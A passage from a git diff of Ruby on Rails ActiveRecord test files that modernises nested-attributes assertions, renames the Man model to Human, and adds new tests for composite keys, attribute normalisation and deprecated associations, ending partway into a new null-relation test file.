+    pirate = Pirate.create(catchphrase: "Stop wastin' me time")
     ship = pirate.create_ship(name: "s1")
     pirate.update(ship_attributes: { name: "s2", id: ship.id })
     assert_equal "s1", ship.reload.name
@@ -127,7 +136,7 @@ def test_reuse_already_built_new_record
     pirate = Pirate.new
     ship_built_first = pirate.build_ship
     pirate.ship_attributes = { name: "Ship 1" }
-    assert_equal ship_built_first.object_id, pirate.ship.object_id
+    assert_same ship_built_first, pirate.ship
   end
 
   def test_do_not_allow_assigning_foreign_key_when_reusing_existing_new_record
@@ -138,19 +147,19 @@ def test_do_not_allow_assigning_foreign_key_when_reusing_existing_new_record
   end
 
   def test_reject_if_with_a_proc_which_returns_true_always_for_has_many
-    Man.accepts_nested_attributes_for :interests, reject_if: proc { |attributes| true }
-    man = Man.create(name: "John")
-    interest = man.interests.create(topic: "photography")
-    man.update(interests_attributes: { topic: "gardening", id: interest.id })
+    Human.accepts_nested_attributes_for :interests, reject_if: proc { |attributes| true }
+    human = Human.create(name: "John")
+    interest = human.interests.create(topic: "photography")
+    human.update(interests_attributes: { topic: "gardening", id: interest.id })
     assert_equal "photography", interest.reload.topic
   end
 
   def test_destroy_works_independent_of_reject_if
-    Man.accepts_nested_attributes_for :interests, reject_if: proc { |attributes| true }, allow_destroy: true
-    man = Man.create(name: "Jon")
-    interest = man.interests.create(topic: "the ladies")
-    man.update(interests_attributes: { _destroy: "1", id: interest.id })
-    assert man.reload.interests.empty?
+    Human.accepts_nested_attributes_for :interests, reject_if: proc { |attributes| true }, allow_destroy: true
+    human = Human.create(name: "Jon")
+    interest = human.interests.create(topic: "the ladies")
+    human.update(interests_attributes: { _destroy: "1", id: interest.id })
+    assert_empty human.reload.interests
   end
 
   def test_reject_if_is_not_short_circuited_if_allow_destroy_is_false
@@ -167,10 +176,10 @@ def test_reject_if_is_not_short_circuited_if_allow_destroy_is_false
   end
 
   def test_has_many_association_updating_a_single_record
-    Man.accepts_nested_attributes_for(:interests)
-    man = Man.create(name: "John")
-    interest = man.interests.create(topic: "photography")
-    man.update(interests_attributes: { topic: "gardening", id: interest.id })
+    Human.accepts_nested_attributes_for(:interests)
+    human = Human.create(name: "John")
+    interest = human.interests.create(topic: "photography")
+    human.update(interests_attributes: { topic: "gardening", id: interest.id })
     assert_equal "gardening", interest.reload.topic
   end
 
@@ -184,12 +193,12 @@ def test_reject_if_with_blank_nested_attributes_id
   end
 
   def test_first_and_array_index_zero_methods_return_the_same_value_when_nested_attributes_are_set_to_update_existing_record
-    Man.accepts_nested_attributes_for(:interests)
-    man = Man.create(name: "John")
-    interest = man.interests.create topic: "gardening"
-    man = Man.find man.id
-    man.interests_attributes = [{ id: interest.id, topic: "gardening" }]
-    assert_equal man.interests.first.topic, man.interests[0].topic
+    Human.accepts_nested_attributes_for(:interests)
+    human = Human.create(name: "John")
+    interest = human.interests.create topic: "gardening"
+    human = Human.find human.id
+    human.interests_attributes = [{ id: interest.id, topic: "gardening" }]
+    assert_equal human.interests.first.topic, human.interests[0].topic
   end
 
   def test_allows_class_to_override_setter_and_call_super
@@ -215,6 +224,29 @@ def test_accepts_nested_attributes_for_can_be_overridden_in_subclasses
     mean_pirate.parrot_attributes = { name: "James" }
     assert_equal "James", mean_pirate.parrot.name
   end
+
+  def test_should_not_create_duplicates_with_create_with
+    Human.accepts_nested_attributes_for(:interests)
+
+    assert_difference("Interest.count", 1) do
+      Human.create_with(
+        interests_attributes: [{ topic: "Pirate king" }]
+      ).find_or_create_by!(
+        name: "Monkey D. Luffy"
+      )
+    end
+  end
+
+  def test_updating_models_with_cpk_provided_as_strings
+    book = Cpk::Book.create!(id: [1, 2], shop_id: 3)
+    book.chapters.create!(id: [1, 3], title: "Title")
+
+    assert_queries_count(4) do
+      book.update!(chapters_attributes: { id: ["1", "3"], title: "New title" })
+    end
+    assert_equal 1, book.reload.chapters.count
+    assert_equal "New title", book.chapters.first.title
+  end
 end
 
 class TestNestedAttributesOnAHasOneAssociation < ActiveRecord::TestCase
@@ -238,7 +270,7 @@ def test_should_build_a_new_record_if_there_is_no_id
     @ship.destroy
     @pirate.reload.ship_attributes = { name: "Davy Jones Gold Dagger" }
 
-    assert !@pirate.ship.persisted?
+    assert_not_predicate @pirate.ship, :persisted?
     assert_equal "Davy Jones Gold Dagger", @pirate.ship.name
   end
 
@@ -259,7 +291,7 @@ def test_should_not_build_a_new_record_if_a_reject_if_proc_returns_false
   def test_should_replace_an_existing_record_if_there_is_no_id
     @pirate.reload.ship_attributes = { name: "Davy Jones Gold Dagger" }
 
-    assert !@pirate.ship.persisted?
+    assert_not_predicate @pirate.ship, :persisted?
     assert_equal "Davy Jones Gold Dagger", @pirate.ship.name
     assert_equal "Nights Dirty Lightning", @ship.name
   end
@@ -333,7 +365,7 @@ def test_should_not_destroy_an_existing_record_if_allow_destroy_is_false
   def test_should_also_work_with_a_HashWithIndifferentAccess
     @pirate.ship_attributes = ActiveSupport::HashWithIndifferentAccess.new(id: @ship.id, name: "Davy Jones Gold Dagger")
 
-    assert @pirate.ship.persisted?
+    assert_predicate @pirate.ship, :persisted?
     assert_equal "Davy Jones Gold Dagger", @pirate.ship.name
   end
 
@@ -345,15 +377,24 @@ def test_should_work_with_update_as_well
     assert_equal "Mister Pablo", @pirate.ship.name
   end
 
+  def test_should_defer_updating_nested_associations_until_after_base_attributes_are_set
+    ship = @pirate.ship
+
+    ship_part = ShipPart.new
+    ship_part.attributes = { ship_attributes: { name: "Prometheus" }, ship_id: ship.id }
+
+    assert_equal "Prometheus", ship_part.ship.name
+  end
+
   def test_should_not_destroy_the_associated_model_until_the_parent_is_saved
     @pirate.attributes = { ship_attributes: { id: @ship.id, _destroy: "1" } }
 
-    assert !@pirate.ship.destroyed?
-    assert @pirate.ship.marked_for_destruction?
+    assert_not_predicate @pirate.ship, :destroyed?
+    assert_predicate @pirate.ship, :marked_for_destruction?
 
     @pirate.save
 
-    assert @pirate.ship.destroyed?
+    assert_predicate @pirate.ship, :destroyed?
     assert_nil @pirate.reload.ship
   end
 
@@ -363,6 +404,7 @@ def test_should_automatically_enable_autosave_on_the_association
 
   def test_should_accept_update_only_option
     @pirate.update(update_only_ship_attributes: { id: @pirate.ship.id, name: "Mayflower" })
+    assert_equal "Mayflower", @pirate.reload.ship.name
   end
 
   def test_should_create_new_model_when_nothing_is_there_and_update_only_is_true
@@ -405,6 +447,13 @@ def test_should_destroy_existing_when_update_only_is_true_and_id_is_given_and_is
 
     Pirate.accepts_nested_attributes_for :update_only_ship, update_only: true, allow_destroy: false
   end
+
+  def test_should_raise_an_argument_error_if_something_other_than_a_hash_is_passed_in
+    exception = assert_raise ArgumentError do
+      @pirate.update(ship_attributes: "foo")
+    end
+    assert_equal "Hash expected for `ship` attributes, got String", exception.message
+  end
 end
 
 class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase
@@ -422,7 +471,7 @@ def test_should_build_a_new_record_if_there_is_no_id
     @pirate.destroy
     @ship.reload.pirate_attributes = { catchphrase: "Arr" }
 
-    assert !@ship.pirate.persisted?
+    assert_not_predicate @ship.pirate, :persisted?
     assert_equal "Arr", @ship.pirate.catchphrase
   end
 
@@ -443,7 +492,7 @@ def test_should_not_build_a_new_record_if_a_reject_if_proc_returns_false
   def test_should_replace_an_existing_record_if_there_is_no_id
     @ship.reload.pirate_attributes = { catchphrase: "Arr" }
 
-    assert !@ship.pirate.persisted?
+    assert_not_predicate @ship.pirate, :persisted?
     assert_equal "Arr", @ship.pirate.catchphrase
     assert_equal "Aye", @pirate.catchphrase
   end
@@ -548,7 +597,7 @@ def test_should_create_new_model_when_nothing_is_there_and_update_only_is_true
     @pirate.delete
     @ship.reload.attributes = { update_only_pirate_attributes: { catchphrase: "Arr" } }
 
-    assert !@ship.update_only_pirate.persisted?
+    assert_not_predicate @ship.update_only_pirate, :persisted?
   end
 
   def test_should_update_existing_when_update_only_is_true_and_no_id_is_given
@@ -581,6 +630,13 @@ def test_should_destroy_existing_when_update_only_is_true_and_id_is_given_and_is
 
     Ship.accepts_nested_attributes_for :update_only_pirate, update_only: true, allow_destroy: false
   end
+
+  def test_should_raise_an_argument_error_if_something_other_than_a_hash_is_passed_in
+    exception = assert_raise ArgumentError do
+      @ship.update(pirate_attributes: "foo")
+    end
+    assert_equal "Hash expected for `pirate` attributes, got String", exception.message
+  end
 end
 
 module NestedAttributesOnACollectionAssociationTests
@@ -592,7 +648,7 @@ def test_should_raise_an_UnknownAttributeError_for_non_existing_nested_attribute
     exception = assert_raise ActiveModel::UnknownAttributeError do
       @pirate.parrots_attributes = [{ peg_leg: true }]
     end
-    assert_equal "unknown attribute 'peg_leg' for Parrot.", exception.message
+    assert_match "unknown attribute 'peg_leg' for Parrot.", exception.message
   end
 
   def test_should_save_only_one_association_on_create
@@ -600,7 +656,7 @@ def test_should_save_only_one_association_on_create
       :catchphrase => "Arr",
       association_getter => { "foo" => { name: "Grace OMalley" } })
 
-    assert_equal 1, pirate.reload.send(@association_name).count
+    assert_equal 1, pirate.reload.public_send(@association_name).count
   end
 
   def test_should_take_a_hash_with_string_keys_and_assign_the_attributes_to_the_associated_models
@@ -610,64 +666,63 @@ def test_should_take_a_hash_with_string_keys_and_assign_the_attributes_to_the_as
   end
 
   def test_should_take_an_array_and_assign_the_attributes_to_the_associated_models
-    @pirate.send(association_setter, @alternate_params[association_getter].values)
+    @pirate.public_send(association_setter, @alternate_params[association_getter].values)
     @pirate.save
     assert_equal ["Grace OMalley", "Privateers Greed"], [@child_1.reload.name, @child_2.reload.name]
   end
 
   def test_should_also_work_with_a_HashWithIndifferentAccess
-    @pirate.send(association_setter, ActiveSupport::HashWithIndifferentAccess.new("foo" => ActiveSupport::HashWithIndifferentAccess.new(id: @child_1.id, name: "Grace OMalley")))
+    @pirate.public_send(association_setter, ActiveSupport::HashWithIndifferentAccess.new("foo" => ActiveSupport::HashWithIndifferentAccess.new(id: @child_1.id, name: "Grace OMalley")))
     @pirate.save
     assert_equal "Grace OMalley", @child_1.reload.name
   end
 
   def test_should_take_a_hash_and_assign_the_attributes_to_the_associated_models
     @pirate.attributes = @alternate_params
-    assert_equal "Grace OMalley", @pirate.send(@association_name).first.name
-    assert_equal "Privateers Greed", @pirate.send(@association_name).last.name
+    assert_equal "Grace OMalley", @pirate.public_send(@association_name).first.name
+    assert_equal "Privateers Greed", @pirate.public_send(@association_name).last.name
   end
 
   def test_should_not_load_association_when_updating_existing_records
     @pirate.reload
-    @pirate.send(association_setter, [{ id: @child_1.id, name: "Grace OMalley" }])
-    assert ! @pirate.send(@association_name).loaded?
+    @pirate.public_send(association_setter, [{ id: @child_1.id, name: "Grace OMalley" }])
+    assert_not_predicate @pirate.public_send(@association_name), :loaded?
 
     @pirate.save
-    assert ! @pirate.send(@association_name).loaded?
+    assert_not_predicate @pirate.public_send(@association_name), :loaded?
     assert_equal "Grace OMalley", @child_1.reload.name
   end
 
   def test_should_not_overwrite_unsaved_updates_when_loading_association
     @pirate.reload
-    @pirate.send(association_setter, [{ id: @child_1.id, name: "Grace OMalley" }])
-    assert_equal "Grace OMalley", @pirate.send(@association_name).load_target.find { |r| r.id == @child_1.id }.name
+    @pirate.public_send(association_setter, [{ id: @child_1.id, name: "Grace OMalley" }])
+    assert_equal "Grace OMalley", @pirate.public_send(@association_name).load_target.find { |r| r.id == @child_1.id }.name
   end
 
   def test_should_preserve_order_when_not_overwriting_unsaved_updates
     @pirate.reload
-    @pirate.send(association_setter, [{ id: @child_1.id, name: "Grace OMalley" }])
-    assert_equal @child_1.id, @pirate.send(@association_name).load_target.first.id
+    @pirate.public_send(association_setter, [{ id: @child_1.id, name: "Grace OMalley" }])
+    assert_equal @child_1.id, @pirate.public_send(@association_name).load_target.first.id
   end
 
   def test_should_refresh_saved_records_when_not_overwriting_unsaved_updates
     @pirate.reload
     record = @pirate.class.reflect_on_association(@association_name).klass.new(name: "Grace OMalley")
-    @pirate.send(@association_name) << record
+    @pirate.public_send(@association_name) << record
     record.save!
-    @pirate.send(@association_name).last.update!(name: "Polly")
-    assert_equal "Polly", @pirate.send(@association_name).load_target.last.name
+    @pirate.public_send(@association_name).last.update!(name: "Polly")
+    assert_equal "Polly", @pirate.public_send(@association_name).load_target.last.name
   end
 
   def test_should_not_remove_scheduled_destroys_when_loading_association
     @pirate.reload
-    @pirate.send(association_setter, [{ id: @child_1.id, _destroy: "1" }])
-    assert @pirate.send(@association_name).load_target.find { |r| r.id == @child_1.id }.marked_for_destruction?
+    @pirate.public_send(association_setter, [{ id: @child_1.id, _destroy: "1" }])
+    assert_predicate @pirate.public_send(@association_name).load_target.find { |r| r.id == @child_1.id }, :marked_for_destruction?
   end
 
   def test_should_take_a_hash_with_composite_id_keys_and_assign_the_attributes_to_the_associated_models
     @child_1.stub(:id, "ABC1X") do
       @child_2.stub(:id, "ABC2X") do
-
         @pirate.attributes = {
           association_getter => [
             { id: @child_1.id, name: "Grace OMalley" },
@@ -689,7 +744,7 @@ def test_should_raise_RecordNotFound_if_an_id_is_given_but_doesnt_return_a_recor
 
   def test_should_raise_RecordNotFound_if_an_id_belonging_to_a_different_record_is_given
     other_pirate = Pirate.create! catchphrase: "Ahoy!"
-    other_child = other_pirate.send(@association_name).create! name: "Buccaneers Servant"
+    other_child = other_pirate.public_send(@association_name).create! name: "Buccaneers Servant"
 
     exception = assert_raise ActiveRecord::RecordNotFound do
       @pirate.attributes = { association_getter => [{ id: other_child.id }] }
@@ -698,26 +753,26 @@ def test_should_raise_RecordNotFound_if_an_id_belonging_to_a_different_record_is
   end
 
   def test_should_automatically_build_new_associated_models_for_each_entry_in_a_hash_where_the_id_is_missing
-    @pirate.send(@association_name).destroy_all
+    @pirate.public_send(@association_name).destroy_all
     @pirate.reload.attributes = {
       association_getter => { "foo" => { name: "Grace OMalley" }, "bar" => { name: "Privateers Greed" } }
     }
 
-    assert !@pirate.send(@association_name).first.persisted?
-    assert_equal "Grace OMalley", @pirate.send(@association_name).first.name
+    assert_not_predicate @pirate.public_send(@association_name).first, :persisted?
+    assert_equal "Grace OMalley", @pirate.public_send(@association_name).first.name
 
-    assert !@pirate.send(@association_name).last.persisted?
-    assert_equal "Privateers Greed", @pirate.send(@association_name).last.name
+    assert_not_predicate @pirate.public_send(@association_name).last, :persisted?
+    assert_equal "Privateers Greed", @pirate.public_send(@association_name).last.name
   end
 
   def test_should_not_assign_destroy_key_to_a_record
     assert_nothing_raised do
-      @pirate.send(association_setter, "foo" => { "_destroy" => "0" })
+      @pirate.public_send(association_setter, "foo" => { "_destroy" => "0" })
     end
   end
 
   def test_should_ignore_new_associated_records_with_truthy_destroy_attribute
-    @pirate.send(@association_name).destroy_all
+    @pirate.public_send(@association_name).destroy_all
     @pirate.reload.attributes = {
       association_getter => {
         "foo" => { name: "Grace OMalley" },
@@ -725,13 +780,13 @@ def test_should_ignore_new_associated_records_with_truthy_destroy_attribute
       }
     }
 
-    assert_equal 1, @pirate.send(@association_name).length
-    assert_equal "Grace OMalley", @pirate.send(@association_name).first.name
+    assert_equal 1, @pirate.public_send(@association_name).length
+    assert_equal "Grace OMalley", @pirate.public_send(@association_name).first.name
   end
 
   def test_should_ignore_new_associated_records_if_a_reject_if_proc_returns_false
     @alternate_params[association_getter]["baz"] = {}
-    assert_no_difference("@pirate.send(@association_name).count") do
+    assert_no_difference("@pirate.public_send(@association_name).count") do
       @pirate.attributes = @alternate_params
     end
   end
@@ -740,19 +795,19 @@ def test_should_sort_the_hash_by_the_keys_before_building_new_associated_models
     attributes = {}
     attributes["123726353"] = { name: "Grace OMalley" }
     attributes["2"] = { name: "Privateers Greed" } # 2 is lower then 123726353
-    @pirate.send(association_setter, attributes)
+    @pirate.public_send(association_setter, attributes)
 
-    assert_equal ["Posideons Killer", "Killer bandita Dionne", "Privateers Greed", "Grace OMalley"].to_set, @pirate.send(@association_name).map(&:name).to_set
+    assert_equal ["Posideons Killer", "Killer bandita Dionne", "Privateers Greed", "Grace OMalley"].to_set, @pirate.public_send(@association_name).map(&:name).to_set
   end
 
   def test_should_raise_an_argument_error_if_something_else_than_a_hash_is_passed
-    assert_nothing_raised { @pirate.send(association_setter, {}) }
-    assert_nothing_raised { @pirate.send(association_setter, Hash.new) }
+    assert_nothing_raised { @pirate.public_send(association_setter, {}) }
+    assert_nothing_raised { @pirate.public_send(association_setter, Hash.new) }
 
     exception = assert_raise ArgumentError do
-      @pirate.send(association_setter, "foo")
+      @pirate.public_send(association_setter, "foo")
     end
-    assert_equal 'Hash or Array expected, got String ("foo")', exception.message
+    assert_equal %{Hash or Array expected for `#{@association_name}` attributes, got String}, exception.message
   end
 
   def test_should_work_with_update_as_well
@@ -764,20 +819,20 @@ def test_should_work_with_update_as_well
 
   def test_should_update_existing_records_and_add_new_ones_that_have_no_id
     @alternate_params[association_getter]["baz"] = { name: "Buccaneers Servant" }
-    assert_difference("@pirate.send(@association_name).count", +1) do
+    assert_difference("@pirate.public_send(@association_name).count", +1) do
       @pirate.update @alternate_params
     end
-    assert_equal ["Grace OMalley", "Privateers Greed", "Buccaneers Servant"].to_set, @pirate.reload.send(@association_name).map(&:name).to_set
+    assert_equal ["Grace OMalley", "Privateers Greed", "Buccaneers Servant"].to_set, @pirate.reload.public_send(@association_name).map(&:name).to_set
   end
 
   def test_should_be_possible_to_destroy_a_record
     ["1", 1, "true", true].each do |true_variable|
-      record = @pirate.reload.send(@association_name).create!(name: "Grace OMalley")
-      @pirate.send(association_setter,
+      record = @pirate.reload.public_send(@association_name).create!(name: "Grace OMalley")
+      @pirate.public_send(association_setter,
         @alternate_params[association_getter].merge("baz" => { :id => record.id, "_destroy" => true_variable })
       )
 
-      assert_difference("@pirate.send(@association_name).count", -1) do
+      assert_difference("@pirate.public_send(@association_name).count", -1) do
         @pirate.save
       end
     end
@@ -786,17 +841,17 @@ def test_should_be_possible_to_destroy_a_record
   def test_should_not_destroy_the_associated_model_with_a_non_truthy_argument
     [nil, "", "0", 0, "false", false].each do |false_variable|
       @alternate_params[association_getter]["foo"]["_destroy"] = false_variable
-      assert_no_difference("@pirate.send(@association_name).count") do
+      assert_no_difference("@pirate.public_send(@association_name).count") do
         @pirate.update(@alternate_params)
       end
     end
   end
 
   def test_should_not_destroy_the_associated_model_until_the_parent_is_saved
-    assert_no_difference("@pirate.send(@association_name).count") do
-      @pirate.send(association_setter, @alternate_params[association_getter].merge("baz" => { :id => @child_1.id, "_destroy" => true }))
+    assert_no_difference("@pirate.public_send(@association_name).count") do
+      @pirate.public_send(association_setter, @alternate_params[association_getter].merge("baz" => { :id => @child_1.id, "_destroy" => true }))
     end
-    assert_difference("@pirate.send(@association_name).count", -1) { @pirate.save }
+    assert_difference("@pirate.public_send(@association_name).count", -1) { @pirate.save }
   end
 
   def test_should_automatically_enable_autosave_on_the_association
@@ -804,17 +859,17 @@ def test_should_automatically_enable_autosave_on_the_association
   end
 
   def test_validate_presence_of_parent_works_with_inverse_of
-    Man.accepts_nested_attributes_for(:interests)
-    assert_equal :man, Man.reflect_on_association(:interests).options[:inverse_of]
-    assert_equal :interests, Interest.reflect_on_association(:man).options[:inverse_of]
+    Human.accepts_nested_attributes_for(:interests)
+    assert_equal :human, Human.reflect_on_association(:interests).options[:inverse_of]
+    assert_equal :interests, Interest.reflect_on_association(:human).options[:inverse_of]
 
     repair_validations(Interest) do
-      Interest.validates_presence_of(:man)
-      assert_difference "Man.count" do
+      Interest.validates_presence_of(:human)
+      assert_difference "Human.count" do
         assert_difference "Interest.count", 2 do
-          man = Man.create!(name: "John",
+          human = Human.create!(name: "John",
                             interests_attributes: [{ topic: "Cars" }, { topic: "Sports" }])
-          assert_equal 2, man.interests.count
+          assert_equal 2, human.interests.count
         end
       end
     end
@@ -826,19 +881,33 @@ def test_can_use_symbols_as_object_identifier
   end
 
   def test_numeric_column_changes_from_zero_to_no_empty_string
-    Man.accepts_nested_attributes_for(:interests)
+    Human.accepts_nested_attributes_for(:interests)
 
     repair_validations(Interest) do
       Interest.validates_numericality_of(:zine_id)
-      man = Man.create(name: "John")
-      interest = man.interests.create(topic: "bar", zine_id: 0)
+      human = Human.create(name: "John")
+      interest = human.interests.create(topic: "bar", zine_id: 0)
       assert interest.save
-      assert !man.update(interests_attributes: { id: interest.id, zine_id: "foo" })
+      assert_not human.update(interests_attributes: { id: interest.id, zine_id: "foo" })
     end
   end
 
-  private
+  def test_assigning_nested_attributes_target
+    params = @alternate_params[association_getter].values
+    @pirate.public_send(association_setter, params)
+    @pirate.save
+    assert_equal [@child_1, @child_2], @pirate.association(@association_name).nested_attributes_target
+  end
+
+  def test_assigning_nested_attributes_target_with_nil_placeholder_for_rejected_item
+    params = @alternate_params[association_getter].values
+    params.insert(1, {})
+    @pirate.public_send(association_setter, params)
+    @pirate.save
+    assert_equal [@child_1, nil, @child_2], @pirate.association(@association_name).nested_attributes_target
+  end
 
+  private
     def association_setter
       @association_setter ||= "#{@association_name}_attributes=".to_sym
     end
@@ -1081,7 +1150,7 @@ def setup
     part = ship.parts.build(name: "Stern")
     ship.treasures.build(looter: part)
 
-    assert_queries 3 do
+    assert_queries_count(5) do
       ship.save!
     end
   end
@@ -1089,7 +1158,120 @@ def setup
   test "nested singular associations are validated" do
     part = ShipPart.new(name: "Stern", ship_attributes: { name: nil })
 
-    assert_not part.valid?
+    assert_not_predicate part, :valid?
     assert_equal ["Ship name can't be blank"], part.errors.full_messages
   end
 end
+
+class TestIndexErrorsWithNestedAttributesOnlyMode < ActiveRecord::TestCase
+  def setup
+    tuning_peg_class = Class.new(ActiveRecord::Base) do
+      self.table_name = "tuning_pegs"
+      def self.name; "TuningPeg"; end
+
+      validates_numericality_of :pitch
+    end
+
+    @guitar_class = Class.new(ActiveRecord::Base) do
+      has_many :tuning_pegs, index_errors: :nested_attributes_order, anonymous_class: tuning_peg_class
+      accepts_nested_attributes_for :tuning_pegs, reject_if: lambda { |attrs| attrs[:pitch]&.odd? }
+
+      def self.name; "Guitar"; end
+    end
+  end
+
+  test "index in nested_attributes_order order" do
+    guitar = @guitar_class.create!
+    guitar.tuning_pegs.create!(pitch: 1)
+    peg2 = guitar.tuning_pegs.create!(pitch: 2)
+
+    assert_predicate guitar, :valid?
+
+    guitar.update(tuning_pegs_attributes: [{ id: peg2.id, pitch: nil }])
+
+    assert_not_predicate guitar, :valid?
+    assert_equal [:"tuning_pegs[0].pitch"], guitar.errors.messages.keys
+  end
+
+  test "index unaffected by reject_if" do
+    guitar = @guitar_class.create!
+
+    guitar.update(
+      tuning_pegs_attributes: [
+        { pitch: 1 },
+        { pitch: nil },
+      ]
+    )
+
+    assert_not_predicate guitar, :valid?
+    assert_equal [:"tuning_pegs[1].pitch"], guitar.errors.messages.keys
+  end
+end
+
+class TestNestedAttributesWithExtend < ActiveRecord::TestCase
+  def test_extend_affects_nested_attributes
+    super_pirate = Class.new(ActiveRecord::Base) do
+      self.table_name = "pirates"
+
+      has_many :treasures, as: :looter, extend: Pirate::PostTreasuresExtension
+      self.accepts_nested_attributes_for :treasures
+
+      def self.name
+        "SuperPirate"
+      end
+    end
+
+    pirate = super_pirate.create!(catchphrase: "Don' botharrr talkin' like one, savvy?")
+    pirate.treasures_attributes = [{ id: nil }]
+    assert_equal "from extension", pirate.treasures[0].name
+  end
+end
+
+class TestNestedAttributesForDelegatedType < ActiveRecord::TestCase
+  setup do
+    Entry.accepts_nested_attributes_for :entryable
+    @entry = Entry.new(entryable_type: "Message", entryable_attributes: { subject: "Hello world!" })
+  end
+
+  def test_should_build_a_new_record_based_on_the_delegated_type
+    assert_not_predicate @entry.entryable, :persisted?
+    assert_equal "Hello world!", @entry.entryable.subject
+  end
+end
+
+class NestedAttributesForDeprecatedAssociationsTest < ActiveRecord::TestCase
+  include DeprecatedAssociationsTestHelpers
+
+  fixtures :cars
+
+  setup do
+    @model = DATS::Car
+    @car = @model.first
+    @tire_attributes = {}
+    @bulb_attributes = { "name" => "name for deprecated nested attributes" }
+  end
+
+  test "has_many" do
+    assert_not_deprecated_association(:tires) do
+      @car.tires_attributes = [@tire_attributes]
+    end
+
+    assert_deprecated_association(:deprecated_tires, context: context_for_method(:deprecated_tires_attributes=)) do
+      @car.deprecated_tires_attributes = [@tire_attributes]
+    end
+
+    assert @tire_attributes <= @car.deprecated_tires[0].attributes
+  end
+
+  test "has_one" do
+    assert_not_deprecated_association(:bulb) do
+      @car.bulb_attributes = @bulb_attributes
+    end
+
+    assert_deprecated_association(:deprecated_bulb, context: context_for_method(:deprecated_bulb_attributes=)) do
+      @car.deprecated_bulb_attributes = @bulb_attributes
+    end
+
+    assert @bulb_attributes <= @car.deprecated_bulb.attributes
+  end
+end
diff --git a/activerecord/test/cases/nested_attributes_with_callbacks_test.rb b/activerecord/test/cases/nested_attributes_with_callbacks_test.rb
index b9d2acbed236f..ea0b589138bf6 100644
--- a/activerecord/test/cases/nested_attributes_with_callbacks_test.rb
+++ b/activerecord/test/cases/nested_attributes_with_callbacks_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/pirate"
 require "models/bird"
@@ -61,7 +63,7 @@ def update_new_and_destroy_bird_attributes
 
   # Characterizing when :before_add callback is called
   test ":before_add called for new bird when not loaded" do
-    assert_not @pirate.birds_with_add.loaded?
+    assert_not_predicate @pirate.birds_with_add, :loaded?
     @pirate.birds_with_add_attributes = new_bird_attributes
     assert_new_bird_with_callback_called
   end
@@ -78,7 +80,7 @@ def assert_new_bird_with_callback_called
   end
 
   test ":before_add not called for identical assignment when not loaded" do
-    assert_not @pirate.birds_with_add.loaded?
+    assert_not_predicate @pirate.birds_with_add, :loaded?
     @pirate.birds_with_add_attributes = existing_birds_attributes
     assert_callbacks_not_called
   end
@@ -90,7 +92,7 @@ def assert_new_bird_with_callback_called
   end
 
   test ":before_add not called for destroy assignment when not loaded" do
-    assert_not @pirate.birds_with_add.loaded?
+    assert_not_predicate @pirate.birds_with_add, :loaded?
     @pirate.birds_with_add_attributes = destroy_bird_attributes
     assert_callbacks_not_called
   end
@@ -109,7 +111,7 @@ def assert_callbacks_not_called
   # Ensuring that the records in the association target are updated,
   # whether the association is loaded before or not
   test "Assignment updates records in target when not loaded" do
-    assert_not @pirate.birds_with_add.loaded?
+    assert_not_predicate @pirate.birds_with_add, :loaded?
     @pirate.birds_with_add_attributes = update_new_and_destroy_bird_attributes
     assert_assignment_affects_records_in_target(:birds_with_add)
   end
@@ -122,7 +124,7 @@ def assert_callbacks_not_called
 
   test("Assignment updates records in target when not loaded" \
        " and callback loads target") do
-    assert_not @pirate.birds_with_add_load.loaded?
+    assert_not_predicate @pirate.birds_with_add_load, :loaded?
     @pirate.birds_with_add_load_attributes = update_new_and_destroy_bird_attributes
     assert_assignment_affects_records_in_target(:birds_with_add_load)
   end
@@ -135,10 +137,10 @@ def assert_callbacks_not_called
   end
 
   def assert_assignment_affects_records_in_target(association_name)
-    association = @pirate.send(association_name)
-    assert association.detect { |b| b == bird_to_update }.name_changed?,
+    association = @pirate.public_send(association_name)
+    assert_predicate association.detect { |b| b == bird_to_update }, :name_changed?,
       "Update record not updated"
-    assert association.detect { |b| b == bird_to_destroy }.marked_for_destruction?,
+    assert_predicate association.detect { |b| b == bird_to_destroy }, :marked_for_destruction?,
       "Destroy record not marked for destruction"
   end
 end
diff --git a/activerecord/test/cases/normalized_attribute_test.rb b/activerecord/test/cases/normalized_attribute_test.rb
new file mode 100644
index 0000000000000..0316475fec03c
--- /dev/null
+++ b/activerecord/test/cases/normalized_attribute_test.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/aircraft"
+require "active_support/core_ext/string/inflections"
+
+class NormalizedAttributeTest < ActiveRecord::TestCase
+  class NormalizedAircraft < Aircraft
+    normalizes :name, with: -> name { name.presence&.titlecase }
+    normalizes :manufactured_at, with: -> time { time.noon }
+
+    attr_accessor :validated_name
+    validate { self.validated_name = name.dup }
+  end
+
+  setup do
+    @time = Time.utc(1999, 12, 31, 12, 34, 56)
+    @aircraft = NormalizedAircraft.create!(name: "fly HIGH", manufactured_at: @time)
+  end
+
+  test "normalizes value from create" do
+    assert_equal "Fly High", @aircraft.name
+  end
+
+  test "normalizes value from update" do
+    @aircraft.update!(name: "fly HIGHER")
+    assert_equal "Fly Higher", @aircraft.name
+  end
+
+  test "does not automatically normalize value from database" do
+    from_database = NormalizedAircraft.find(Aircraft.create(name: "NOT titlecase").id)
+    assert_equal "NOT titlecase", from_database.name
+  end
+
+  test "finds record by normalized value" do
+    assert_equal @time.noon, @aircraft.manufactured_at
+    assert_equal @aircraft, NormalizedAircraft.find_by(manufactured_at: @time.to_s)
+  end
+
+  test "uses the same query when finding record by nil and normalized nil values" do
+    assert_equal NormalizedAircraft.where(name: nil).to_sql, NormalizedAircraft.where(name: "").to_sql
+  end
+
+  test "minimizes number of times normalization is applied" do
+    count_applied = Class.new(Aircraft) do
+      normalizes :name, with: -> name { name.succ }
+    end
+
+    aircraft = count_applied.create!(name: "0")
+    assert_equal "1", aircraft.name
+
+    aircraft.name = "0"
+    assert_equal "1", aircraft.name
+    aircraft.save
+    assert_equal "1", aircraft.name
+
+    aircraft.name.replace("0")
+    assert_equal "0", aircraft.name
+    aircraft.save
+    assert_equal "1", aircraft.name
+  end
+end
diff --git a/activerecord/test/cases/null_relation_test.rb b/activerecord/test/cases/null_relation_test.rb
new file mode 100644
index 0000000000000..fec66a1758803
--- /dev/null
+++ b/activerecord/test/cases/null_relation_test.rb
@@ -0,0 +1,117 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/developer"
+require "models/comment"
+require "models/post"
+require "models/topic"
+require "support/async_helper"
+
+class NullRelationTest < ActiveRecord::TestCase
+  include AsyncHelper
+
